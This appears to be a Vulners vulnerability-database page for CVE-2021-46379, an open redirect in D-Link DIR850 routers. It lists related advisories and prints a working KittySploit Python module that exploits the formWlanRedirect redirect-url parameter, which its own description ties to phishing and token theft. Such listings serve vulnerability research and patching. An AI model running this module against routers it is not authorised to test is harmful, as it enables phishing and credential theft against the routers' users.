D-Link DIR850 Open Redirect (CVE-2021-46379)
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| D-LINK DIR850 - Open Redirect Vulnerability | 12 May 202200:00 | – | zdt | |
| CVE-2021-46379 | 4 Mar 202216:15 | – | attackerkb | |
| The vulnerability of D-Link DIR-850 router’s microprogramming software, related to deficiencies in access control, allows a intruder to redirect a user to any arbitrary URL address. | 7 Apr 202200:00 | – | bdu_fstec | |
| CVE-2021-46379 | 8 Mar 202215:20 | – | circl | |
| D-Link DIR850 ET850-1.08TRb03 输入验证错误漏洞 | 4 Mar 202200:00 | – | cnnvd | |
| D-Link DIR850 ET850-1.08TRb03 has an unspecified vulnerability | 8 Mar 202200:00 | – | cnvd | |
| CVE-2021-46379 | 4 Mar 202215:02 | – | cve | |
| CVE-2021-46379 | 4 Mar 202215:02 | – | cvelist | |
| DLINK DIR850 - Open Redirect | 11 May 202200:00 | – | exploitdb | |
| D-Link DIR850 ET850-1.08TRb03 - Open Redirect Detection | 28 Jul 202611:27 | – | kittysploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR850 open redirect (CVE-2021-46379)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'D-Link DIR850 Open Redirect (CVE-2021-46379)',
'description': (
'Exploits CVE-2021-46379 in D-Link DIR850: unauthenticated open redirect via '
'formWlanRedirect redirect-url parameter (phishing / token theft chain).'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2021-46379'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-46379'],
'tags': ['dlink', 'router', 'redirect', 'vkev'],
'agent': {
'risk': 'medium',
'effects': ['credential_access'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['risk_signals'],
'chain': {'suggested_followups': ['scanner/http/cve_2021_46379_detect']},
},
}
redirect_url = OptString('http://example.com', 'External redirect target to test', required=True)
def check(self):
target = urllib.parse.quote(str(self.redirect_url or 'http://example.com'), safe='')
path = f'/boafrm/formWlanRedirect?redirect-url={target}&wlan_id=1'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return {'vulnerable': False, 'reason': 'No response', 'confidence': 'low'}
headers = '\n'.join(f'{k}: {v}' for k, v in (r.headers or {}).items())
host = urllib.parse.urlparse(str(self.redirect_url or 'http://example.com')).netloc
if host and re.search(rf'Location:\s*https?://[^/\n]*{re.escape(host)}', headers, re.I):
return {'vulnerable': True, 'reason': 'Open redirect confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Redirect not observed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('D-Link DIR850 redirect not confirmed')
return False
target = str(self.redirect_url or 'http://example.com')
print_success(f'Open redirect to {target} confirmed')
self.vulnerable()
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
6.9Medium risk
Vulners AI Score6.9
CVSS 25.8
CVSS 3.16.1
EPSS0.15769